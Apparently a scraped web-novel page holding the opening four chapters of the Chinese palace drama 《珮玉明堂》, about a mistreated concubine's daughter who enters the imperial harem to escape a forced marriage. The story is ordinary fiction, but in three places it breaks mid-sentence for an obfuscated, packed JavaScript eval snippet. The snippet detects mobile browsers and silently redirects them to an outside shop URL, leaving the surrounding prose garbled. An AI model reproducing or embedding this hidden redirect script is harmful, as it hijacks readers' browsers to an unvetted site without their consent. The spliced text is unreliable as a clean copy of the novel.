《珮玉明堂》 1. 序章 已是深秋,京师一片肃杀。 这个秋天比寻常要冷上许多。到了如今这时节,草木早已凋零殆尽,家家户户都已封好窗户,穿上冬衣,无事连家门也不出。 这份肃杀又不仅仅是天气带来的。自打入了秋,皇帝便一病不起,连中秋宫宴都取消了。太医院的诸位圣手使尽浑身解数后均是无能为力,最终一起下了结论,皇帝只剩下这两天的光景。朝臣们严阵以待,百姓们也多少有所预感,一时间街头巷尾竟不见几个行人。 只有几天光景的老皇帝又撑了十数天,终究还是再也撑不下去,在这个深秋的傍晚殡了天。 乾清宫内,老皇帝已经没了声息,皇后静静地坐在龙榻旁,沉默地看向宫外。 丧钟迟迟没有敲响。还没有回家的行人看见成队的兵士奔跑在街道上,慌不择路地寻找躲避之所,也有那倒霉的直接被践踏于马蹄之下。兵士们从各大城门涌入,均是直奔皇宫而去。 皇城内,杀声震天。早已守在宫中的卫兵与从城外闯进的兵士们战成一团。闯进京城的将士们已然占据上风,突然,主将身边的一个副将拔出刀,反手捅进他的身体内。 “弟兄们杀啊!”他一边捅刀一边大喝,闯进皇宫的兵士们当即有相当一部分反水,原本已经确定的局势顿时翻转。 主将身边的其他副将一时皆呆住。但动手之人显然早有准备,白刀子进红刀子出后立刻又杀向其他副将,几人还没回过神来就又有两人阵亡,剩下的回过神来后立刻拔刀迎战,但也不是这动手之人的对手。 “刘顺……”最后一个死亡的副将怒目圆睁地倒在地上,嘴里还不甘地念着他的名字。刘顺全然不理,举起刀劝被两方夹击的兵士们投降。 “贼首已伏诛,缴械不杀!” “贼首已伏诛,缴械不杀!”早有联络的皇城卫兵将领也一同高喝,遭到夹击的低级军官和普通士兵们陆陆续续放下武器。 如此,大势已定。 乾清宫的门开了。一个身着皇子服饰的年轻男人拎着一颗血淋淋的人头走进来。皇后一脸阴沉地看向来人。 “本宫到底是小瞧了你。” 来人将人头扔在地上,笑得肆意:“母后本就没有亲子在世,儿臣登位与他人又有何区别?” 确实没有区别——国舅爷一家早已两头下注,两位皇子的正妃均与他沾亲带故。 “放本宫的侄孙女归家。”皇后终究是接受了这个事实。 “母后放心,儿臣不会对女眷动手。”来人应下。 丧钟终于敲响,京城内的家家户户拿住早已准备好的白布、丧服,开始服国丧。与此同时,新帝登极的消息迅速传向朝廷治下的每一寸领土。 江南省,金陵府。 虽然尚在国丧中,这些时日江南巡抚府上一直弥漫着隐秘且克制的喜悦,原因无他,巡抚太太的侄女婿正是刚刚登极的皇帝,她的侄女顺理成章地成为了皇后。 巡抚治家甚严,国丧期间除公事外便禁闭家门,但大太太在家中一直红光满面。巡抚虽面上严肃,内心也有期待。 二人便在期待中等来了来自京城的传信之人。 可惜传信人带来的并非喜讯。夫妇两人强撑着笑容摆好宴席,请传信人大快朵颐了一番后才送他离开。府上大门刚关上,二人脸上的笑容便荡然无存。 “怎会如此?”太太脸色异常难看,“我的侄女陪他一起出生入死,他还不能给他岳父一个阁老之位吗?” 传信之人正是太太长兄的随从,根据他的消息,新帝登位后,太太的长兄依旧是左都御史,并未升位。上一位首辅正是太太的父亲,因年迈请求致仕,没有三请三辞,新帝直接同意,而后提拔了一位寒门出身的阁老做首辅。 巡抚也是一脸凝重:“就怕是陛下记恨岳父和舅兄未曾助他夺嫡。” “助他夺嫡?”太太的声音骤然拔高,“我夏家随太祖打天下,世代皆为阁臣,他算是个什么东西要我夏家助他夺嫡?” “慎言!”巡抚打断妻子,“不论他出身如何,他现在都已经是皇帝,这种话绝对不可在外说。” 显而易见,他也持同样的立场。 太太立刻扫了巡抚一眼:“我当然不会在外面说。倒是二郎此番飞黄腾达,妾身可要恭喜老爷。” “不过一五品武官,算什么飞黄腾达。”巡抚毫不掩饰自己的不屑。 太太心情好转,叫来自己身边的婆子,让她把消息告诉二郎的生母。 “同刘姨娘道声喜吧,这可能是她这辈子最得意的时候了。” 巡抚府的一处小屋内。 作为整个江南省的最高长官,巡抚府自然满是富贵,但这一切都与这间小屋无关。屋中并无精致摆件,所有的家具纵使干净整洁也难掩破旧,只有书柜里满满当当的印着各种文字的书籍与众不同。已是冬日,屋中炭火并不足,炉中烧的也只是劣等煤,散发着刺鼻的气味。小屋里除了一个小丫鬟就没有其他当值的仆役,安静得仿佛被人遗忘。 但这间与巡抚府格格不入的小屋很快就要迎来喜讯。 “姨娘,大喜,大喜啊!”一个衣服略显陈旧的丫鬟从外面飞奔进来,声音里有掩饰不住的喜悦,“二少爷封官啦!” 正在桌前写着什么的女子手一顿,墨就从笔尖滴落到纸上。她身边还有一个正在看书的少女,见状唤她冷静些。 “白露姐姐,有什么喜事我们慢慢说,”说着,她指了指小榻,“玥儿正睡着呢。” 名唤白露的丫鬟这才注意到睡在榻上的女童,低声告罪后细细说来。 “姨娘,四姑娘,舅老爷得了从龙之功,现在已是蓟辽总兵。” 这个舅老爷当然不是太太的兄长,而是刘姨娘的兄长。刘姨娘本是小官庶女,被自己的父亲送去巴结上官,即彼时尚是知府的江南巡抚。做兄长的眼见生母便是绝食而死也没能救下女儿,自己也抗争无果后愤而离家从军,多年后竟当真混出了名堂。如今得封总兵,镇守的还是大齐东北方向与金人接壤的要地,足可见其何等得重用。 刘姨娘闻言,固然欣悦,却并不像白露那般狂喜。 先前稳住白露的少女放下手中书本,一只手撑在桌子上,拄着脸,一针见血地指出问题:“但是这样会让沈大人和夫人更加针对我们吧?” 这位新晋的蓟辽总兵与江南巡抚关系并不和睦。昔日,甫一升任指挥使,他便立刻赶赴江南寻妹,寻到了已是江南巡抚的沈老爷府上。见二少爷这个庶子学识生疏,一番调查后又得知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887955|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是授课先生得了授意故意不予授业,怒不可遏的刘指挥使态度强硬地要将妹妹与两个孩子全部带走,但最终也只带走了一个,从此梁子就这么结下了。沈老爷深以此事为耻,此后朝堂上世家大族又与寒门布衣出身的官员渐成对立之势,刘姨娘母女俩本就不算很好的境地更是一落千丈。 当初让他大伤颜面的人如今成了从一品官员,正正好好压他一头,他会是什么反应可想而知。 “所以说是大喜啊!”白露接着说,“二少爷跟着舅老爷上阵冲杀,也得封千户!” 这确实是好消息了。二少爷年方十八,就已是五品官员,又在亲舅舅麾下,前途自然是一片光明。更重要的是,五品官员的生母身份足以保证刘姨娘不再受磋磨。 少女惊喜地看向刘姨娘:“恭喜阿娘!以后沈大人夫妻两个再也不能随便欺负你了!” 屋里的小丫鬟也立刻贺喜。 刘姨娘终于开心地笑了。纵使饱受磋磨,她的美丽依旧清晰可见,只是不漏牙齿的微笑便让她仿佛散发着光芒。 只是这份喜悦也是短暂的。她很快收敛笑容,掏出一把大钱分给两个丫鬟,随后重新换了张纸,拿起笔继续写字。动作间袖口晃动,可以隐约看见狰狞的伤痕。 大齐官场上曾有贵公子之名的沈巡抚私底下竟然虐待妾室,外人若是听闻此事必将难以置信。 少女也收起喜悦,继续读书。 直到傍晚,小屋又有人到访。 太太一身华服站在小屋门前,本就陈旧的屋子更是惨不忍睹。她身后左侧是最信任的婆子,后面还有浩浩荡荡的一小群仆役,身后右侧之人则捧着几件衣服和一个木匣子。 “我已带你到了刘姨娘的住处,剩下的你同她们说。”太太说完便黑着脸离开。 来人放下手中物事,扫视了屋里一圈,越看心中越不平,长叹一声后说道:“姑娘这些年受苦了。” 刘姨娘却摆摆手,道:“只要琛哥儿他们三个能彻底摆脱这等日子,便是再苦我也都能忍。” “姑娘不必再忍了,”来人说着打开木匣,取出一顶珍珠点翠双翟冠,“陛下开恩,封姑娘为七品孺人,以后没有人再敢苛待姑娘了。” 他说着,展开先前叠着的衣服——真红大衫、霞帔、织金马面裙以及缝着鸂鶒补子的圆领袍。整套衣服赫然是簇新的。 刘姨娘摸着这套衣服,眼眶渐渐湿润了。来人静静地候在一旁,等她平复了心情再与她细说舅甥二人之事。谈到天黑透,随太太而来的婆子又闯进来。 “刘孺人,太太命老奴今晚带人重新收拾你的屋子,请孺人给老奴留些时间。” 来人冷冷地看了婆子一眼,婆子依旧不以为然地杵在屋中。刘姨娘起身送人离开,两个女孩守在屋中紧盯着这些布置屋子的人。 婆子心中暗骂,终究还是规规矩矩地干完活,回去后向太太禀报完,太太屋中又有摆件遭了殃。 “贱人!那位也是,自己是贱人提拔的也都是贱人!若是当初太子未死哪里有他耀武扬威的份!” 太太大发雷霆,婆子跪在听得地上胆战心惊。 新年过后的第一个朝会上,江南巡抚被人狠狠参了一笔。申饬的圣旨传下来,沈巡抚的脸黑成了锅底。 2. 中选 荣嘉三年,初夏。 新帝登极以来的首次选秀已然到了尾声。中选的秀女全都老老实实地站在御花园的御景亭旁。直到最后一组秀女经帝后看过后,皇帝身边的大太监才尖声宣布选秀结束。帝后移驾,秀女皆跪拜恭送,直到看不见两人的影子后秀女们才静静离开。 沈明珮便在中选的秀女中。 两年多过去,与皇帝初登极时相比,她变化极大,个子长高了不少,容貌也很惹人注意。她的身上也不再是曾经的旧衣,虽然料子依旧普通,但好歹是合身且颜色式样正常的衣服了。 她安静地坐上轿子,到达一处二进宅子门前,脚刚刚在地上落稳,名叫秋霜的侍女便冲到她面前。 送她回来的太监识趣地驾车离开。 “怎么样,姑娘中选了吗?”两人边说着边走进宅子中,回到沈明珮的屋子里。 这位秋霜本很小就被刘姨娘买下,可以说是陪伴沈明珮长大。刘姨娘得封敕命后,沈家终于拨来她们本应拥有的仆役,秋霜便同白露一起成为了母女三人的心腹。 “中了。” 沈明珮的回答让秋霜长出一口气,但短暂的喜悦后,席卷而来的是更大的不甘。 “若是女子还能为官为将,姑娘何至于用这种方法摆脱那纨绔!” “是啊,”沈明珮同样心有不甘,“但凡能早生个百年,我定会去考女官,若是真有那一把子力气,也能像阿兄一样从军,又何至于用一段婚姻去摆脱另一段婚姻呢?” 能有这般感慨,就要从本朝建立之初说起了。 与过往的朝代不同,对本朝的建立,有两位女性做出了不可磨灭的贡献。前者本为前朝女官,被末帝逐出宫后一边行商,一边串联各势力,资助太祖起义,并在太祖围困京城时说服京城守将投降。新朝的国号,齐,便是由她而起。之后她更是在金人攻打山海关之际亲赴前线,斩杀叛将,死守至援军到来。此后她成为首辅,改革前朝制度,让百废待兴的大齐一片欣欣向荣。 至于另一位,更是声名赫赫。她本是前朝名将,经前一位游说后加入反抗前朝末帝的大军。山海关遇袭时正是她率领援军打退金人,此后她率部镇守西北,她的侄子在勾结金人的晋商被尽数清算后主动前往山西管理晋地商人。二人分别获封镇西侯、荣禄侯,均是世袭罔替。 两位伟大的女性均曾在弥留之际上书于太祖。太祖念其贡献,设女子军,允许女性经考核合格后从军,同时又设女官定期考试之制,通过考核者可入朝为官。一时之间,女兵、女将、女诸生、女官,如过江之鲫。 只可惜两人的政治遗产早已消失殆尽。第三代皇帝登极后废除太祖旧制,女子军被解散,不论将军还是士兵,皆被强制卸甲,女官也失去了入朝为官的机会,连后宫的权力都逐渐被太监把持。在朝中为官的女性更是尽数坐罪,而后尽数死于狱中,当时在女官中品级最高的户部尚书更是被扣上谋反的罪名,惨遭凌迟。所有有志于家宅之外的女性都被绞杀,彼时大齐真正最有政治才能的长公主联合最大的女商,拼着自己全部的私兵拦下朝廷追兵,带着一群敢于舍弃一切的女子卷银子离开,流亡西洋。 而第三代皇帝围剿女官的最大助力,正是当初那位女首辅的侄子与侄孙。此后他们成了女首辅唯一的传承者,世代皆有阁臣,到了本代更是出了皇后。 累世公卿荣华路,尽是女子泪与血。 这是一个极为沉重的话题,任何喜气在它面前都会烟消云散。秋霜不欲再说,连忙换个话题。 “姑娘,沈大人来信了。” “哦?让我好好看看我这位好父亲又放了些什么。”沈明珮说着接过信件,打开通读一遍后直接烧了个干净。 “毫无新意,”她讥讽道,“可惜不论他怎么威胁,我都不会遂他的意。” 皇帝从登极到改元后封赏了一批官员,但太后与皇后的家族中皆无人得到提拔,随后太后便病了。过了些日子,皇帝提拔时任江南巡抚的皇后的姑父为两江总督,又提了几个太后与皇后族中的中青年官员,太后才终于康复。这位两江总督正是沈明珮的父亲。 沈家与夏家互为姻亲,夏家又与太后出身的定国公府互为姻亲,三家文武皆备,同气连枝,俨然是一股不可小觑的力量。 皇帝非太后所生,登极后积极提拔中小地主乃至平民出身的官员,冲击着以定国公和夏家为代表的勋贵和大地主,两方官员有不小的矛盾。沈明珮的亲舅舅刘顺恰在前者之列,并且是其中的武官代表。沈大人不是没有动过手段,但皆毫无效果。随着沈明珮长大,他开始将注意打在这个他所敌视的武将的外甥女身上。 在这个时代,能毁掉一个女人一生的最便利的手段就是婚姻。定国公府三公子,纨绔之名响彻大齐,又是人尽皆知的断袖,甚至曾经手段残忍地虐死过府中丫鬟,但凡有点良知的人家都不肯与其结亲。这种名声臭到极致的人却入了沈大人的眼,沈明珮刚刚及笄,他便与定国公府联系,要将沈明珮配给这位声名狼藉的三公子。 沈明珮知道消息时,其实两家都已经谈好了。绝不让女儿重蹈自己覆辙的刘姨娘派白露绕开层层包围,将信送到了远在辽东的刘顺手中。信是送了出去,但白露为了保护送信人,亲自引开追来的沈府家丁,最后被活活打死。刘顺收到信后立刻写密信,派沈明珮的亲兄长沈明琛进京,求皇帝救外甥女一命,这才有沈明珮进京参加选秀一事。 正因如此,沈明珮是以正四品指挥佥事之妹的身份参加选秀,而非两江总督之女。 “罢了,入宫虽是无奈之举,但也未必是坏事,”沈明珮看着纸灰,幽幽道,“至少有机会报复我这位好父亲了,不是吗?” 秋霜心中生疼,声音也高了起来:“天底下怎么会有这样的父亲!虎毒尚不食子呢,他堂堂一品大员怎么连个畜生都不如!” 正说着,院门打开,一个年轻男人拎着食盒走进来。 他显然听到了秋霜的话,回道:“当官凭的又不是良心,当然能畜生不如。” “二少爷!”秋霜听见声音,立刻转过身行礼,被他抬手制止。 “就我们三个人,何必搞这一套,”他走进屋里,将食盒放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887956|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在桌上打开,露出里面的烤鸭和饼,“中选了?” “中了。”沈明珮点点头。 他面上却并无喜色,沉默了一会儿才突然说:“是我连累你们了。” “阿兄,话不能这么说,”沈明珮一脸不赞同,“你若是继续留在沈家,我们四人才是真完了。” 这年头,凡是正常些的人家,子嗣不论嫡庶至少明面上是同等教养,因为没有人能保证嫡子就一定能成材,且多一人为官家族就能多一份助力。 但沈家显然是不正常的那一个。嫡长子幼时便显出天赋,太太后来又有幼子,便不希望旁人再抢自己孩子的风头。沈总督怕并不乖顺的刘姨娘挣脱掌控,也乐见其成。刘总兵登上沈府大门时,沈明琛不仅学识稀松,而且还被教导得鄙弃生母,在被舅舅带到东北边境操练后才逐渐改变。 一顿晚饭,三人吃得很安静。饭后,秋霜去清理食盒,沈明琛继续坐在桌旁,暂且不离开。 “阿娘的新译作反响如何?”沈明珮问道。 “反响不错,”沈明琛回答,“京内各大书肆都上了,也有运往其余各省,听说有戏班子要排成戏,能有不少收入,阿娘和玥儿接下来想来能好过些。” 沈明珮点点头。 “我还是不想你入宫,”沈明琛沉默了一会儿又说,“有我和舅舅表兄在,求陛下为你赐婚,定国公府不敢把你怎样的。” “眼下固然没有问题,但是以后呢?”沈明珮轻轻摇头,“只要最后登极的是太子,我们依旧逃不过清算,还不如拼一把。” 两人再次相顾无言,半晌,沈明琛轻轻咳嗽一声,起身离开。守在门外的秋霜将食盒交给他后迅速走进来,熟练地走到沈明珮身后,为她按摩肩膀。 “不必了,”沈明珮按住了她的手,“帮我把之前整理的京官信息拿过来,我再好好看看。” 秋霜立刻将一摞写满小字的纸拿来,沈明珮从头翻到尾,抽出数张,坐在灯下静静阅读,是不是拿起笔在上面留下批注。 直至深夜,她才吹了灯。 自中选后,沈明珮便再没有走出院门,只让秋霜就连京城各处打探消息。如此数日,封位圣旨终于下达。 院门前,沈明珮接过圣旨,叩谢圣恩。美人,正六品,虽非高位,但对于秀女而言已然不低,尤其此次她的参选身份还是四品官员之妹,能有此分位已是难得。只是这赐住的地方,实在是不太好。 守在一旁的沈明琛面不改色,立刻将装好银子的荷包递给传旨天使,礼数周全地送他离开。 “恭喜姑娘!”见天使离开,秋霜高兴地跑过来,“姑娘到时会带奴入宫吗?” “不会,”送别天使归来的沈明琛替沈明珮回答,“舅舅已经训练好了陪明珮进宫的丫鬟。” 有他打头,接下来的话就好说了。 “白露姐姐已经不在,以后阿娘和玥儿,还有其他宫外的事情就交给你了。秋霜,你的担子不比陪我进宫轻。” 秋霜收起刚刚生出的失落,重重点头。 “姑娘放心,我会做好的。” 3. 入宫 刘顺训练好的丫鬟早就住在客栈中,沈明珮一得封美人,她第二天便进了宅子。沈明珮简单了解后为她改名寒露。 “能送来既通武艺又懂医术的丫鬟,舅舅想必也费了很大心思,兄长回去后记得替我谢谢他。” “好的。”沈明琛应下,过往的精力让他在与母亲和妹妹交流时仍有些不自然,但是凡她们所求,他都会尽全力做到。 时间在沈明珮与寒露的熟悉中,在两人为进宫做准备中迅速走过,很快便到了进宫的日子。 轿子在傍晚来到宅子门口。小小一顶,布置得不算华丽,抬轿的人也不多,沈明珮就这么同寒露一起晃晃悠悠地进了宫。 呆在轿子中,只觉得走了很久才停下来。到了地方,沈明珮下了轿,看到宫门的牌匾上写着“景阳宫”三个大字。抬轿的太监们什么也没有说,就自顾自地离去了。 实事求是地讲,景阳宫实在不是什么好地方。前朝后期,一位被皇帝厌弃的宫妃被囚禁在此,直到死亡都没有得到公正的对待,等到她的儿子登极后才恢复她应有的哀荣。而后,又有一位妃子在此被皇帝的乳母迫害而死。由于曾经惨死两位高位宫妃,又距离乾清宫极远,自新朝建立以来,尚未有妃嫔在景阳宫居住。 沈明珮跨过景阳门,眼前的景象让她短暂地愣了一下。久未修缮的宫院有着明显的破旧感,院子里冷冷清清,打扫得也不细致,几个当值的宫女太监居然两两凑对打双陆,见到来人也没有起身的意思。 “放肆!见到主子还不行礼?”寒露立刻疾言厉色地训斥,几人才不紧不慢地起身,动作稀松地行礼。 天色已晚,时间紧张,沈明珮姑且没有计较,同寒露进了东配殿。刚拉扯起东配殿内当值的宫人,就有人找上门来。 来人是一个老嬷嬷,穿着女官服,全身上下收拾得一丝不苟,面色严肃。见沈明珮跨出东配殿的门,她端正地行礼,而后直言来意。 “沈美人,太后娘娘召见,请随奴婢前去慈宁宫。” 说完,没有给沈明珮深度思考的时间,她就转身向景阳宫外走去。 太后并非皇帝生母。皇帝生母早逝,便进了坤宁宫,但并不受重视,在众皇子中很不起眼。直到先太子病逝,彼时还是皇后的太后才想起这个皇子,但她名下养子不止一个,索性两头下注,坐看两人争斗。待得皇帝登极,她凭借着定国公府的出身以及与夏家的姻亲,在后宫乃至前朝仍有极大的话语权,甚至能够影响到皇帝的决策。 这样一位太后,正是定国公府三公子的亲姑奶奶。 到了慈宁宫门前,女官走了进去,沈明珮却被拦在门外。等了半刻,才有一个年轻宫女走出来。 “沈美人,娘娘当下正忙,请稍等片刻。” 说完,这宫女就站在宫门外,一动不动地盯着沈明珮。 沈明珮就这么在慈宁宫门前站了一个多时辰。新人们进宫,宫人们四处奔忙,便有人看到了这一幕,而后一传十十传百,此事彻底传开。沈明珮正站着,感受到一阵阵隐晦的视线从四周传来,她想回头看看、放松姿势,但紧盯着她的宫女又及时插话。 “美人可是累了?娘娘年纪大,还请美人耐心等候。” 沈明珮的手在袖子里握紧成拳。宫人们不敢光明正大地偷看,呆了一小会儿就陆陆续续离开,但后续会造成什么影响可想而知。 直到沈明珮站到双腿发软,带她过来的老嬷嬷才又出现。 “娘娘已经安寝,美人请回吧。” 再迈开腿时,沈明珮已经脚步踉跄。她艰难地挪腾脚步回到宫中,发现东配殿内竟然还没布置完毕。 “主子,这里的宫人完全不听指挥。”寒露走过来低声禀报。 沈明珮揉了揉太阳穴。 “让他们都过来。” 美人按例有四名宫人,三个宫女,一个太监,可带一人入宫。眼前三人年纪都不大,行止间还能看出点情绪。 沈明珮扫视了三人一眼,停顿片刻,才缓缓说:“说一下你们自己的名字,还有入宫的时间、入宫后的大概经历。” 三人依次回禀。 “白芷,白菊,宋英……在近乎冷宫的宫殿里打杂,不好受吧?”沈明珮靠在椅子上,漫不经心地把玩着指甲,“你们真想在这景阳宫内当一辈子杂役吗?” 白菊依旧低着头,白芷无声摇头,宋英则抬起头,看向沈明珮。 沈明珮轻轻鼓掌。 “很好,看来还是有人不想的。现在你们都已经划到我的名下,既然不想在这里蹉跎一辈子,就好好在我这里当差。我对你们有三条基本要求,第一,忠诚,第二,遵守我的命令,第三,不得私自违反宫规律法。我们既成了主仆,便是一荣俱荣,一损俱损,只要你们忠心当差,我自然能带你们走出这景阳宫,但若你们阳奉阴违里通外敌,即使我只是一个美人,也能让你们付出代价。你们可明白?” “奴婢明白。”白芷带头,白菊和宋英也前后回答。 “明白就好,”沈明珮站起身,“现在,重新把东配殿布置好。” 这一次,东配殿很快便收拾齐整了。此时距离日常的安寝时间已经过去了一阵子,沈明珮没再耽搁,洗漱就寝。 入睡前,她吩咐寒露:“若是可以,还是打听一下这三人的底细。” 第二日,沈明珮起了个大早。 这是此次新入宫的所有妃嫔第一次拜见皇后。沈明珮不敢松懈,精心搭配好衣饰,早早出发去坤宁宫。 宫中除去皇后原本只有五位妃嫔,此次选秀共有七人中选,美人排在中位。因为景阳宫距坤宁宫路远,沈明珮到达时,低位妃嫔皆已在场,按品级坐在后座。 “哟,这不是昨天夜里被太后罚站的沈美人吗?”她刚一坐下,对侧就传来嘲讽。 沈明珮认得此人,陕甘总兵之女,与自己一样得封美人。陕甘总兵出身勋贵,与出身低微的蓟辽总兵向来不对付,这种火药味也蔓延到了后辈身上。 但是,一入宫就被太后罚站,这种名声沈明珮绝不肯背上。 “王美人,话可不能乱说,太后娘娘昨晚是召见我,后来有事才又让我离开,怎么到你的嘴里就是罚站了?” “召见?拒之门外一个多时辰然后把人赶走的召见吗?罚站就是罚站,沈美人又何必嘴硬?” 沈明珮很不爽。或者说,正因为知道王美人说的是事实,她才格外不爽。但越是心中不爽,面上越是不能显现出来。 “那王美人倒是说说,太后娘娘为何要罚我的站?” 王美人答不上来。 “谁知道你做了什么惹怒娘娘的事!” “呵,”沈明珮一声轻笑,拿起手边的茶抿了一口,“太后娘娘一直在宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887957|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,我此前又从未进宫,能做出什么惹怒娘娘的事?还是说,王美人你认为太后娘娘是那种随意处罚素未谋面的新晋宫妃的人?” “你……”王美人指着沈明珮,“你颠倒黑白!我何时有这等意思!” “好了,二位都莫要再说了,”突然有一人走过来,制止她们后又低声提醒,“你们想一进宫就落上个编排太后娘娘的罪名吗?” 此人姓宋,乃当今首辅的长孙女,也是本次选秀中分位最高之人,得封昭仪,距离嫔位只有一步之遥。王美人冷哼一声,撇过脸去,沈明珮笑着道谢。 “多谢姐姐提醒。” “妹妹客气了。”宋昭仪微笑回应,气质沉静温润,让人如沐春风。 宋昭仪到了,宫中的散号妃嫔也就都到齐了。接下来走进坤宁宫的是两位娘娘。 首先出现的是顺嫔。她本是宫女出身,在潜邸时生下皇帝长女。皇帝登极后她只得嫔位,甚至没能住进一宫主殿,现住在延祺宫东配殿。她衣着朴素,饰品也不华丽,坐在椅子上很不起眼。 另一位却是迟迟没有出现。此人乃武威侯独女,荣嘉元年时皇帝为安抚只有寥寥数人得到封赏的勋贵将其礼聘入宫,封为宁妃,次年便生下二皇子。在宫中只有两个皇子的情况下,宁妃隐有挑战皇后之势。同时,她也是沈明珮二姐的小姑子。 直到皇后出现,宁妃才姗姗来迟。 “大家已经都在了呀,还请皇后娘娘见谅,妾身来迟了。”众人尚看不清人脸,就已经听到了她的声音。 随着脚步的走进,众人终于看见她的脸。这是一个美得很张扬的女子。她一身大红宫灯侍女对襟袄,下着飞凤天马马面裙,头上戴着鸾凤金镶宝头面,光彩照人。不等皇后发话,她就径自坐到主位下首的座椅上,扫视一圈新人。 “这些就是陛下新选的妹妹们?我看也不怎么样嘛。” 竟是把所有新人都贬低了一通。 座位上的新人们有的变了脸色,有的眉头微蹙,有的悄悄握紧拳头,但没有一人反驳宁妃。 还是坐在主位的皇后发了话。 “陛下选进宫的人岂容你来质疑?” 皇后此番也着大红,红色鞠衣与纯色石青马面比宁妃要朴素不少,却代表着至高无上的身份——妃嫔鞠衣皆为青色,只有皇后鞠衣为红。此时她一脸严肃,强大的气场配合象征皇权的常服,竟是死死压制住了宁妃。 宁妃讪讪地闭上嘴,眼刀狠狠地刮向坐在后面的众人。 皇后只简单训导了几句,就带着众人去了慈宁宫。 大抵是昨夜安歇得早的缘故,太后起得也早,众人没有在宫外等候,直接进了慈宁宫正殿。 刚刚站好,太后就在嬷嬷的搀扶下拄着手杖走进正殿。众人立刻行礼。 过了半晌,才听到太后的声音:“都起来吧。” 众人起身,太后摆摆手,有一个宫女捧着一个巨大的木匣走过来。太后打开木匣,露出里面的件件首饰。 “你们这七个新人都上前来。” 七人走上前,太后从木匣里拿出首饰,给了每一个人,独独绕过了沈明珮。 “既进了宫,就要谨守本分,若是有人行那卑劣之事,本宫定当严惩!” 太后说这话时,死死盯着沈明珮。 这下所有人都知道了,太后不喜沈美人。 4. 冷遇 走出慈宁宫,王美人轻蔑地看了沈明珮一眼,冷笑着离去。 沈明珮依旧是气定神闲的模样,带着寒露回到景阳宫中,直到独自一人时才瘫在椅子上,疲惫地叹了口气。 若说这进了宫后唯一让人不发愁的,大抵也只有吃食了。虽说只是按照美人的份例,却也比在家中时好上许多。吃过午饭,沈明珮的心情才好些。 “我要小憩片刻,之后会看书,你自己安排时间便可,”她吩咐寒露,“时刻注意那三人的行为,莫要让他们发现,也别让他们碰我近身的东西。” “是。”寒露应下。 太后的公然冷落固然引人注意,但宫中更关注的还是晚上的侍寝。毫不意外,侍寝的是宋昭仪。 此后数日一切如常,平淡无波,直到皇帝召幸王美人。 本次选秀后共有三人获封美人,王美人是第一个被召幸的。第二天早上,她容光焕发地出现在坤宁宫中,很自觉地坐在了美人中最靠前的座位上。 沈明珮和另外一位张美人都不做反应。 紧接着皇帝召幸张美人,再之后竟然是孟才人,沈明珮被生生略过。 孟才人侍寝后的第二天,沈明珮一踏进坤宁宫中,就受到多道目光的洗礼。她深吸口气,坐到惯常的位置上。 “沈美人,你坐错了吧?你现在应当同张美人换位置了。”王美人在沈明珮坐下后提出异议。 在场之人,不论品级高低,都或多或少地把注意力放在这边。 倒是张美人只柔和地笑了笑:“没关系,都是一样的,不必换位置。” 王美人冷哼一声,不再言语。 而后,一直到新人全部侍寝一遍,沈明珮都没有被召幸。 再一次走进坤宁宫时,迎接沈明珮的果然是铺天盖地的嘲笑。 一开始只是状似偷偷地打量和互相传递眼神,后来见沈明珮没有反应,座位相连的便有人低声耳语。 此时沈明珮依然不动如山,孟才人率先发话:“沈姐姐这几日可还好?” “如妹妹所见,我一直很好。”沈明珮一副看不出她话里有话的样子。 “沈姐姐好心态,”碰了软钉子,孟才人也不退缩,“过会儿请安结束可愿同妹妹一起走走?也许就能偶遇陛下呢。” “能得妹妹相邀,我深感荣幸,”沈明珮似笑非笑地看着孟才人,“只是景阳宫地偏路远,恐怕与妹妹不顺路啊。” 孟才人被拒,温柔的面色中掺进了几丝委屈:“姐姐不愿就算了。” “噗嗤,”王美人在一旁捂着嘴笑,“孟妹妹你就是把她带到陛下面前,陛下也不认得她啊。” 孟才人立刻收了委屈,嘴角挂着淡淡的笑意。 “即便是忤逆家族,求了陛下入宫,不还是一样不得圣心?卑贱之人,得了机缘乍然发达,就真当自己脱胎换骨了?早晚有原形毕露的那一天!” 这说的就不仅仅是后宫了。 沈明珮神情严肃,与王美人对视:“我们所有人在陛下面前皆是卑贱之人,一身荣华皆仰赖于陛下,王美人觉得我说得可对?” 这时几声清脆的掌声响起,打断了王美人的话头。 “本宫难得有一天来得早,竟然看到了这等好戏,”宁妃施施然地走进坤宁宫,“王美人似乎对陛下的心意颇为了解啊。” 王美人见到宁妃,收敛了气焰,僵硬但规矩地行了礼,干巴巴地回道:“回娘娘,妾身不敢。” 